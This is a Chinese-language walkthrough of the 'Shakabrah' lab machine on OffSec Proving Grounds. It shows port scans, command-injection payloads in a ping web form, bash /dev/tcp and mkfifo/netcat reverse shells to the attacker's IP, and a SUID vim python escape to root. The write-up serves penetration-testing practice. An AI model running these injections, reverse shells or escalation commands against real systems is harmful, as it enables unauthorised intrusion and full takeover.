Proving Grounds Play : Shakabrah Walkthrough
Proving Grounds Play : Shakabrah Walkthrough
Foothole (立足點 ) :
- 80 Port 網站是一個標準有 command injection 的網頁
- 利用後直接建立 Reverse Sehll
PE ( 提權 ) :
- SUID 利用 vim 成功提權
注意事項 :
- 相對簡單的一個靶機,沒有需要特別注意的地方
第一步 Rustscan,└─$ rustscan -a 192.168.172.86 --scripts none --ulimit 5000 | tee rustscan
僅有開兩個 Port 22 & 80
snmp 檢查 filtered,沒戲 └─$ sudo nmap -sU -p 161 192.168.172.86 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.172.86 | tee nmap
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
whatweb,└─$ whatweb http://192.168.172.86 | tee whatweb
Exploit-DB Apache 2.4.29,nothing
80 /,是一個可以執行 Ping command 的網站
執行 127.0.0.1
ping Kali 192.168.45.202
從 127.0.0.1 的 TTL 結果來看,是一台 Linux Base 機器
參考這個網站,開始測試 command injection
參考 : https://gabb4r.gitbook.io/oscp-notes/cheatsheet/command-injection-cheatsheet
開始一一測試發現前面幾個就有用
<!--#exec%20cmd="/usr/bin/id;-->
;id;
;id
看來直接用 ; 後面接命令即可直接執行
;whoami
;ls -la 也可以直接使用空格沒有問題
;cat index.php
測試 bash -c "bash -i >& /dev/tcp/192.168.45.202/80 0>&1"
Reverse Shell 直接進來了
後續測試最好用的 rm 方式也可以連線
;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.202 80 >/tmp/f
進入後拿到第一階段的 local.txt
cat /etc/passwd
cat /etc/crontab
sudo -l,不知道密碼,亂猜沒有過
SUID 確認
vim 有 SUID
執行 /usr/bin/vim.basic -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
看來進入 VIM 編輯模式
SUID 有說明僅支援 python3,將指令強制用 python3 執行
/usr/bin/vim.basic -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
成功提權
留言
張貼留言